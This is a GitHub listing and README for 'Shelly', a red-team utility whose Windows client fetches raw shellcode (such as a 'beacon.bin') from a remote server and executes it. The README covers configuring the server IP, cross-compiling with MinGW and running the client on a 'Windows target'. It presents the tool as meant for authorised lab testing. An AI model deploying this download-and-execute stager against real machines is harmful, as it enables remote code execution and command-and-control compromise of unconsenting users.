https://github.com/sayan690/shelly
Shelly - Serve Shellcode over the wire.
https://github.com/sayan690/shelly
Last synced: about 1 year ago
JSON representation
Shelly - Serve Shellcode over the wire.
- Host: GitHub
- URL: https://github.com/sayan690/shelly
- Owner: Sayan690
- License: mit
- Created: 2025-05-30T10:50:05.000Z (about 1 year ago)
- Default Branch: master
- Last Pushed: 2025-05-30T20:24:34.000Z (about 1 year ago)
- Last Synced: 2025-05-31T06:00:44.987Z (about 1 year ago)
- Language: C++
- Homepage:
- Size: 577 KB
- Stars: 1
- Watchers: 0
- Forks: 0
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
- License: LICENSE
Awesome Lists containing this project
README
# π SHELLY - Serve Shellcode Over the Wire
[]()
[]()
[]()
[]()
**SHELLY** is a minimal client-server utility to remotely fetch and serve raw shellcode files over the network.
- `shelly-server`: Listens for incoming client requests and sends raw shellcode files on demand.
- `shelly.exe`: A Windows-compatible client (built with MinGW-w64) that requests a specified shellcode file from the server.
---
## π οΈ Tech Stack
     
## π¦ Project Structure
```
SHELLY/
βββ src/
β βββ shelly.cpp # Client source (edit before build)
β βββ shelly-server.py # Server source
βββ shelly-server # Shellcode server (built locally)
βββ bin/
β βββ shelly.exe # Windows client binary (built with MinGW-w64)
βββ Makefile
βββ README.md
```
---
## βοΈ Requirements
- **Linux** system with:
- `make`
- `x86_64-w64-mingw32-g++` (MinGW-w64 for cross-compilation)
---
## π§ Setup & Usage
### 1. Edit Client Configuration
Before building `shelly.exe`, you must **edit the following** in `src/shelly.cpp`:
- `SERVER_IP`: The IP address of the host running `shelly-server`
- `REMOTE_FILE`: The name of the shellcode file to request from the server
```cpp
// Example inside src/shelly.cpp
#define SERVER_IP "192.168.1.10"
#define REMOTE_FILE "payload.bin"
```
---
### 2. Build the Project
```bash
make # General Instructions before using 'make build'
make build # Cross-compiles src/shelly.cpp into bin/shelly.exe and creates a bash script for calling 'src/shelly-server.py'
```
The resulting Windows binary will be located at `bin/shelly.exe`.
---
### 3. Start the Server
Start the server on the machine that holds your shellcode files:
```bash
./shelly-server
```
- The server looks for requested files in its **current working directory**.
- Example: if `REMOTE_FILE` is `"payload.bin"`, place `payload.bin` in the same directory as `shelly-server`.
---
### 4. Run the Client (on Windows)
On the Windows target, run:
```cmd
shelly.exe
```
This will:
- Connect to `SERVER_IP`
- Request `REMOTE_FILE`
- Receive and execute the raw shellcode.
---
## β Important Notes
- Intended for **controlled environments** (e.g., red team labs or internal C2-like testing).
- Always verify legality and authorization before use in real-world networks.
---
## β
Example Workflow
1. Place `beacon.bin` in the same folder as `shelly-server`
2. Set `REMOTE_FILE` to `"beacon.bin"` in `src/shelly.cpp`
3. Set `SERVER_IP` to your Linux host's IP
4. Build with `make && make build`
5. Start the server
6. Run `bin/shelly.exe` on the client
---
## π οΈ Troubleshooting
- If you see linker errors like `__gxx_personality_sj0` or `_Unwind_SjLj_*`, ensure youβre compiling with `x86_64-w64-mingw32-g++`, not `gcc`.
---
## π License
MIT or similar open-source license. Use responsibly.